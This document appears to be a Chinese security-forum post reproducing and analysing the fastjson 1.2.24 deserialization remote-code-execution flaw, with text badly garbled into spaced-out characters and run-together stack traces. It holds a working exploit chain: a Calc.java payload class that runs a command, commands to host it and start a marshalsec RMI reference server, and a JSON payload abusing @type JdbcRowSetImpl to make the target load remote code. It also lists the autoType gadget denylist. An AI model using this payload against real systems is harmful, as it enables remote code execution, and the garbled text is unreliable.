[27185] 2021-03-05_追洞小组fastjson1.2.24复现+分析

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2021-03-05_追洞小组fastjson1.2.24复现+分析   |   f a s t j s o n 1 . 2 . 2 4 +     M s 0 8 0 6 7   2 0 2 1 - 0 3 - 0 5 #   , 7 #   , 2 3 M S 0 8 0 6 7   W E B M s 0 8 0 6 7     1 2 3 4 5 使 i d e a   m a v e n p o m f a s t j s o n 1 . 2 . 2 4 r c e 1 . 2 . 2 4   1 . 2 . 2 3 m a v e n 1 r m i + j n d i j a v a . s q l . S Q L E x c e p t i o n :   J d b c R o w S e t   ( )   J N D I     2 l d a p + j n d i j a v a . l a n g . C l a s s C a s t E x c e p t i o n :   j a v a x . n a m i n g . R e f e r e n c e   c a n n o t   b e   c a s t   t o   j a v a x . s q l . D a t a S o u r c e j a v a j d k 1 . 8 1 . 8 . 0 _ 1 0 2 , 1 . 8 . 0 _ 2 2 1   J D K   8 u 1 1 3   c o m . s u n . j n d i . r m i . o b j e c t . t r u s t U R L C o d e b a s e       c o m . s u n . j n d i . c o s n a m i n g . o b j e c t . t r u s t U R L C o d e b a s e   f a l s e R M I c o s n a m i n g   C o d e b a s e R e f e r e n c e c l a s s s h e l l   j a v a c   C a l c . j a v a   C a l c . c l a s s p a c k a g e   c o m . v 1 r u s p u b l i c   c l a s s   C a l c { p u b l i c   C a l c ( ) { t r y { R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " c a l c " ) ; } c a t c h   ( E x c e p t i o n   e ) { e . p r i n t S t a c k T r a c e ( ) ; } } p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g v ) { C a l c   c   =   n e w   C a l c ( ) ; } }
  h t t p p y t h o n 3 C a l c . c l a s s h t t p p y t h o n   - m   h t t p . s e r v e r   8 0 8 8 R M I 使 m a r s h a l s e c r m i c l a s s h t t p r m i c l a s s r m i 8 8 8 8 f a s t j s o n j s o n 使 a u t o T y p e s e t / g e t 访 使 p o c   d e m o f a s t j s o n p o c   c o m . s u n . r o w s e t . J d b c R o w S e t I m p l   c o m . a l i b a b a . f a s t j s o n . J S O N   p a r s e O b j e c t D e f a u l t J S O N P a r s e r p a r s e j a v a   - c p   m a r s h a l s e c - 0 . 0 . 3 - S N A P S H O T - a l l . j a r   m a r s h a l s e c . j n d i . R M I R e f S e r v e r   " h t t p : / / 1 9 2 . 1 6 8 . 2 4 9 . 1 5 6 : 8 0 8 8 / # C a l c "   8 p a c k a g e   c o m . v 1 r u s ; i m p o r t   c o m . a l i b a b a . f a s t j s o n . J S O N ; p u b l i c   c l a s s   T e s t   { p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   { S t r i n g   v 1 r u s   =   " { " @ t y p e " : " c o m . s u n . r o w s e t . J d b c R o w S e t I m p l " , " d a t a S o u r c e N a m e " : " r m i : / / 1 9 2 . 1 6 8 . 2 4 9 . 1 5 J S O N . p a r s e O b j e c t ( v 1 r u s ) ; } } E x c e p t i o n   i n   t h r e a d   " m a i n "   c o m . a l i b a b a . f a s t j s o n . J S O N E x c e p t i o n :   s e t   p r o p e r t y   e r r o r ,   a u t o C o m m i t a t   c o m . a l i b a b a . f a s t j s o n . p a r s e r . d e s e r i a l i z e r . F i e l d D e s e r i a l i z e r . s e t V a l u e ( F i e l d D e s e r i a l i z e r . j a v a : 1 3 1 ) a t   c o m . a l i b a b a . f a s t j s o n . p a r s e r . d e s e r i a l i z e r . D e f a u l t F i e l d D e s e r i a l i z e r . p a r s e F i e l d ( D e f a u l t F i e l d D e s e r i a l i z e r . j a t   c o m . a l i b a b a . f a s t j s o n . p a r s e r . d e s e r i a l i z e r . J a v a B e a n D e s e r i a l i z e r . p a r s e F i e l d ( J a v a B e a n D e s e r i a l i z e r . j a v a : 7 2 2 ) a t   c o m . a l i b a b a . f a s t j s o n . p a r s e r . d e s e r i a l i z e r . J a v a B e a n D e s e r i a l i z e r . d e s e r i a l z e ( J a v a B e a n D e s e r i a l i z e r . j a v a : 5 6 8 ) a t   c o m . a l i b a b a . f a s t j s o n . p a r s e r . d e s e r i a l i z e r . J a v a B e a n D e s e r i a l i z e r . p a r s e R e s t ( J a v a B e a n D e s e r i a l i z e r . j a v a : 8 7 7 ) a t   c o m . a l i b a b a . f a s t j s o n . p a r s e r . d e s e r i a l i z e r . F a s t j s o n A S M D e s e r i a l i z e r _ 1 _ J d b c R o w S e t I m p l . d e s e r i a l z e ( U n k n o w n   S o a t   c o m . a l i b a b a . f a s t j s o n . p a r s e r . d e s e r i a l i z e r . J a v a B e a n D e s e r i a l i z e r . d e s e r i a l z e ( J a v a B e a n D e s e r i a l i z e r . j a v a : 1 8 3 ) a t   c o m . a l i b a b a . f a s t j s o n . p a r s e r . D e f a u l t J S O N P a r s e r . p a r s e O b j e c t ( D e f a u l t J S O N P a r s e r . j a v a : 3 6 8 ) a t   c o m . a l i b a b a . f a s t j s o n . p a r s e r . D e f a u l t J S O N P a r s e r . p a r s e ( D e f a u l t J S O N P a r s e r . j a v a : 1 3 2 7 )   a t   c o m . a l i b a b a . f a s t j s o n . p a r s e r . D e f a u l t J S O N P a r s e r . p a r s e ( D e f a u l t J S O N P a r s e r . j a v a : 1 2 9 3 ) a t   c o m . a l i b a b a . f a s t j s o n . J S O N . p a r s e ( J S O N . j a v a : 1 3 7 )   a t   c o m . a l i b a b a . f a s t j s o n . J S O N . p a r s e ( J S O N . j a v a : 1 2 8 ) a t   c o m . a l i b a b a . f a s t j s o n . J S O N . p a r s e O b j e c t ( J S O N . j a v a : 2 0 1 )   a t   c o m . v 1 r u s . T e s t . m a i n ( T e s t . j a v a : 8 )
7 4 p a r s e J S O N L e x e r t o k e n 1 2 c a s e l e x e r . t o k e n ( ) t o k e n 1 2 e l s e w h i l e ( t r u e ) l e x e r . s k i p W h i t e s p a c e     i f s c a n S y m b o l k e y k e y v a l u e
  c o m . a l i b a b a . f a s t j s o n . p a r s e r . J S O N L e x e r B a s e # s c a n S y m b o l   v a l u e   @ t y p e k e y   @ t y p e   i f   c o m . a l i b a b a . f a s t j s o n . u t i l # l o a d C l a s s  
F a s t J s o n A S M D e s e r i a l i z e r _ 1 _ J d b c R o w S e t I m p l d e s e r i a l z e s e t D a t a S o u r c e N a m e d a t a S o u r c e N a m e R M I p a r s e F i e l d
s m a r t M a t c h k e y ( ( F i e l d D e s e r i a l i z e r ) f i e l d D e s e r i a l i z e r ) . p a r s e F i e l d ( p a r s e r ,   o b j e c t ,   o b j e c t T y p e ,   f i e l d V a l u e s ) ; F i e l d D e s e r i a l i z e r p a r s e F i e l d F i e l d c o m . a l i b a b a . f a s t j s o n . p a r s e r . d e s e r i a l i z e r . F i e l d D e s e r i a l i z e r # s e t V a l u e f i e l d I n f o . f i e l d C l a s s e l s e s e t A u t o C o m m i t
j d k c o n n e c t i o n c o n n e c t s e t D a t a S o u r c e N a m e ( ) d a t a S o u r c e N a m e e s l e   i f l o o k u p d a t a S o u r c e r m i j a v a l o o k u p r m i I n i t i a l C o n t e x t   C o n t e x t 使 J N D I J N D I R M I 便 J N D I   ( J a v a   N a m i n g   a n d   D i r e c t o r y   I n t e r f a c e ) J N D I R M I R M I J N D I 访 J N D I R M I   U R L J N D I l o o k u p ( ) r e f e r e n c e W r a p p e r r e f e r e n c e j n d i r m i r m i R e f e r n c e s r c e v a r 3 R e g i s t r y C o n t e x t l o o k u p
C a l c / t h i s . r e g i s t r y ( R e g i s t r y I m p l _ S t u b s t u b s k e l ) l o o k u p J N D I m a r s h e l s e c : J N D I R M I l o o k u p ( ) R M I J N D I R M I R e f e r e n c e R e f e r e n c e R e f e r e n c e a b l e . g e t R e f e r e n c e ( ) l o o k u p ( ) o b j e c t   f a c t o r y f a c t o r y r e f e r e n c e S e r v e r R e f e r e n c e S e r v e r R e f e r e n c e C l i e n t C l i e n t r m i w e b r m i l o o k u p J N D I r m i J N D I w e b R C E 1 . 2 . 2 5 c o m . a l i b a b a . f a s t j s o n . p a r s e r . D e f a u l t J S O N P a r s e r # p a r s e O b j e c t   c o m . a l i b a b a . f a s t j s o n . p a r s e r . P a r s e r C o n f i g # c h e c k A u t o T y p e   T y p e U t i l s . l o a d C l a s s c h e c k A u t o T y p e ( ) : j a v a . n e t . S o c k e t T i m e o u t E x c e p t i o n :   R e a d   t i m e d   o u t a t   j a v a . n e t . S o c k e t I n p u t S t r e a m . s o c k e t R e a d 0 ( N a t i v e   M e t h o d ) a t   j a v a . n e t . S o c k e t I n p u t S t r e a m . s o c k e t R e a d ( U n k n o w n   S o u r c e ) a t   j a v a . n e t . S o c k e t I n p u t S t r e a m . r e a d ( U n k n o w n   S o u r c e ) a t   j a v a . n e t . S o c k e t I n p u t S t r e a m . r e a d ( U n k n o w n   S o u r c e ) a t   j a v a . i o . B u f f e r e d I n p u t S t r e a m . f i l l ( U n k n o w n   S o u r c e ) a t   j a v a . i o . B u f f e r e d I n p u t S t r e a m . r e a d ( U n k n o w n   S o u r c e ) a t   j a v a . i o . F i l t e r I n p u t S t r e a m . r e a d ( U n k n o w n   S o u r c e ) a t   m a r s h a l s e c . j n d i . R M I R e f S e r v e r . d o M e s s a g e ( R M I R e f S e r v e r . j a v a : 2 2 1 ) a t   m a r s h a l s e c . j n d i . R M I R e f S e r v e r . r u n ( R M I R e f S e r v e r . j a v a : 1 7 1 ) a t   m a r s h a l s e c . j n d i . R M I R e f S e r v e r . m a i n ( R M I R e f S e r v e r . j a v a : 1 1 7 )
l o a d C l a s s 使 1   F a s t j s o n a u t o t y p e " @ t y p e " C l a s s a u t o t y p e F a s t j s o n 1 . 2 . 2 4 2   r m i f a s t j s o n j n d i l d a p r m i r e f e r e n c e r m i   J N D I   b s h c o m . m c h a n g e c o m . s u n . j a v a . l a n g . T h r e a d j a v a . n e t . S o c k e t j a v a . r m i j a v a x . x m l o r g . a p a c h e . b c e l o r g . a p a c h e . c o m m o n s . b e a n u t i l s o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . T r a n s f o r m e r o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s 4 . c o m p a r a t o r s o r g . a p a c h e . c o m m o n s . f i l e u p l o a d o r g . a p a c h e . m y f a c e s . c o n t e x t . s e r v l e t o r g . a p a c h e . t o m c a t o r g . a p a c h e . w i c k e t . u t i l o r g . c o d e h a u s . g r o o v y . r u n t i m e o r g . h i b e r n a t e o r g . j b o s s o r g . m o z i l l a . j a v a s c r i p t o r g . p y t h o n . c o r e o r g . s p r i n g f r a m e w o r k
  3 6 0 0 0 +
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则